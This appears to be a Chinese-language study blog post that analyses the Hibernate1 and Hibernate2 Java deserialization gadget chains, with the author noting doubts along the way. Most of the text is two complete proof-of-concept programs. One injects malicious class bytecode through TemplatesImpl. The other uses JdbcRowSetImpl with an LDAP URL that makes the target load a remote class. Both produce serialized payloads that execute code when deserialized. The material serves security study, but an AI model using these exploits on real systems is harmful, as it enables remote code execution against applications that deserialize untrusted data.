Hibernate利用链
Hibernate利用链
Hibernate 1
给出调用栈
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder.DeferredInitializer().initialize()
ComponentType.getHashCode()
PojoComponentTuplizer.getPropertyValue()
AbstractComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
TemplatesImpl.getOutputProperties()
这里分几个部分,思路清晰一点
1
漏洞点在
能够反射执行方法
那我们看看这个method如何控制
在getGetterOrNull
中首先调用getterMethod获取getter方法,然后在最后调用构造方法return一个BasicGetter对象,method在构造方法中被赋值
2
因此现在的思路就是哪里会调用get方法,经过查找发现在抽象类org.hibernate.tuple.component.AbstractComponentTuplizer
中定义了成员变量getters,并且通过getPropertyValue()
方法调用get方法,而getPropertyValues()
又调用了getPropertyValue()
这里就继续找谁调用了getPropertyValues
,并且这里AbstractComponentTuplizer
由于是抽象类,我们先找他的实现类
这里选择PojoComponentTuplizer
,它会调用父类的getPropertyValues
继续找谁调用了PojoComponentTuplizer
的getPropertyValues
找到ComponentType
然后参考的文章说该类的getHashCode
会调用getPropertyValue
疑惑
两个参考文章都说到这里,但是我们可以发现上面两张图调用的函数很明显不一样
一个是
一个是
我根据poc调试后发现走的是getPropertyValue
,并且下一步直接走到了
所以我的想法是componentTuplizer
设置为PojoComponentTuplizer
后,由于没有getPropertyValue
方法,于是调用了父类的getPropertyValue
,即AbstractComponentTuplizer
感觉这个解释其实也有问题,但是我的能力只能想到这些
3
继续找如何接上getHashCode
找到在TypedValue
类中的initTransients
是调用getHashcode了的
TypedValue 初始化时,除了赋值 type、value 操作外,还调用了 initTransients
方法对 hashcode 属性进行了初始化
初始化时新创建了一个 ValueHolder 对象,并为其赋予了一个新的 DeferredInitializer 对象并重写了 initialize()
方法
我们首先发现 TypedValue 的 hashCode()
方法调用了成员变量 hashcode.getValue()
方法,这个方法又会调用 DeferredInitializer 的 initialize()
方法,就是之前我们初始化的那个
这里也有点不理解是如何调用进去的
4
总而言之调用到hashCode函数即可,那很明显就是HashMap作入口
poc
即使知道了大概的调用顺序,想要写出poc也不是容易的事
package hibernate;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
/**
* Hello world!
*
*/
public class Hibernate1 {
public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
// 生成包含恶意类字节码的 TemplatesImpl 类
TemplatesImpl tmpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));
setFieldValue(tmpl, "_bytecodes", new byte[][]{bytecodes});
setFieldValue(tmpl, "_name", "z");
setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl());
Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?>getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties");
}
// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);
// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);
// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);
// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");
// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",tmpl);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
细节
GetterMethodImpl
在 Hibernate 5.x 里,实现了 org.hibernate.property.access.spi.GetterMethodImpl
类,这个类能够替代 BasicPropertyAccessor$BasicGetter.get()
来调用 getter 方法。
Hibernate 2
。。。。其实就是把Templates
改为JdbcRowSetImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
/**
* Hello world!
*
*/
public class Hibernate2 {
public static String fileName = "Hibernate1.bin";
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
// 生成JdbcRowxxx
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:9999/Exploit");
Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData");
Object getter;
try {
// 创建 GetterMethodImpl 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0];
constructor.setAccessible(true);
getter = constructor.newInstance(null, null, method);
} catch (Exception ignored) {
// 创建 BasicGetter 实例,用来触发 TemplatesImpl 的 getOutputProperties 方法
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");
}
// 创建 PojoComponentTuplizer 实例,用来触发 Getter 方法
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
// 反射将 BasicGetter 写入 PojoComponentTuplizer 的成员变量 getters 里
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tuplizer, getters);
// 创建 ComponentType 实例,用来触发 PojoComponentTuplizer 的 getPropertyValues 方法
Object type = createWithoutConstructor(componentTypeClass);
// 反射将相关值写入,满足 ComponentType 的 getHashCode 调用所需条件
setFieldValue(type,"componentTuplizer",tuplizer);
setFieldValue(type,"propertySpan",1);
setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
// 创建 TypedValue 实例,用来触发 ComponentType 的 getHashCode 方法
TypedValue typedValue = new TypedValue((Type) type, null);
// 创建反序列化用 HashMap
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "su18");
// put 到 hashmap 之后再反射写入,防止 put 时触发
setFieldValue(typedValue,"value",rs);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
finally
其实还是有好多不理解的地方,唉。。。